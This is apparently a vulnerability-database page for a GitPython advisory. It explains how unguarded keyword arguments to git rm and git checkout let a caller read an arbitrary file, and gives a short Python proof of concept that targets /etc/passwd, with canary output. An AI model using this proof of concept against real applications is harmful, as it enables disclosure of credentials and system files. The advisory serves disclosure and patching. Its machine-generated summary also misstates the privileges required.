Skip to main content
EPSS 0.4%top 67%

CVE-2026-76217: External Control of File Name or Path in gitpython-developers GitPython

0
High
Published: 08/20/2026 (08/20/2026, 09:45:22 UTC)
Source: CVE Database V5
Vendor/Project: gitpython-developers
Product: GitPython

Description

## Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()` with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and cleared. ## Prior art, and why I am filing rather than commenting GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*: | Call site | git command | that advisory's assessment | |---|---|---| | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | That assessment is very nearly right, and I think that is why it held: with `--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec. ## Root cause `git/index/base.py:991-1043`: ```python def remove(self, items, working_tree=False, **kwargs): ... removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043 ``` `git/refs/head.py:237-268`: ```python def checkout(self, force: bool = False, **kwargs: Any): ... self.repo.git.checkout(self, **kwargs) # line 268 ``` Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call. ## Proof of concept ```python from git import Repo from git.exc import GitCommandError repo = Repo("/path/to/repo") kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True) try: repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw) except GitCommandError as e: print(e.stderr) # <- entire file contents ``` Observed on published 3.1.57, against a canary file holding three marked lines: ``` [PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band stderr: 'fatal: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any files' [PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band stderr: 'error: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any file(s) known to git' [PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses [PASS] PRECISION: the GUARDED checkout-index leaks 0/3 ``` The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere. ## Scope correction to the table above Of the four sites cleared with that sentence, **two disclose and two do not**: | Call site | disclosed? | |---|---| | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no | The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.

CVSS v4.0

Score 7.1high

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vuln. Confidentiality
High
Vuln. Integrity
None
Vuln. Availability
None
Subsq. Confidentiality
None
Subsq. Integrity
None
Subsq. Availability
None
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Affected software

gitpython-developers

GitPython

Affected versions
>=0 <3.1.58
gitpython
pkg:pypi/gitpython
Affected versions
<3.1.58

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 09/11/2026, 08:48:06 UTC

Technical Analysis

CVE-2026-76217 affects GitPython versions before 3.1.58. The vulnerability arises from insufficient validation of options passed to git rm and git checkout commands within the IndexFile.remove() and Head.checkout() methods. Specifically, attackers can exploit the --pathspec-from-file and --pathspec-file-nul parameters to cause the application to read arbitrary files accessible to the process. The contents of these files are exposed in the stderr output of GitCommandError, potentially leaking sensitive information.

Potential Impact

An attacker with the ability to invoke these GitPython methods can read arbitrary files on the system accessible to the process running GitPython. This can lead to disclosure of sensitive information. There is no indication of privilege escalation, code execution, or other impacts beyond information disclosure. The CVSS 4.0 base score is 7.1, indicating a high severity due to network attack vector, low attack complexity, no privileges required, no user interaction, and high impact on confidentiality.

Mitigation Recommendations

A fix is available in GitPython version 3.1.58. Users should upgrade to version 3.1.58 or later to remediate this vulnerability. No other mitigation steps are indicated.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Data Version
5.2
Assigner Short Name
VulnCheck
Date Reserved
2026-08-19T11:35:13.689Z
Cvss Version
4.0
State
PUBLISHED

Threat ID: 6a85bc7aacd9273b492f49b6

Added to database: 08/19/2026, 14:23:54 UTC

Last enriched: 09/11/2026, 08:48:06 UTC

Last updated: 10/04/2026, 10:04:21 UTC

Views: 38

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses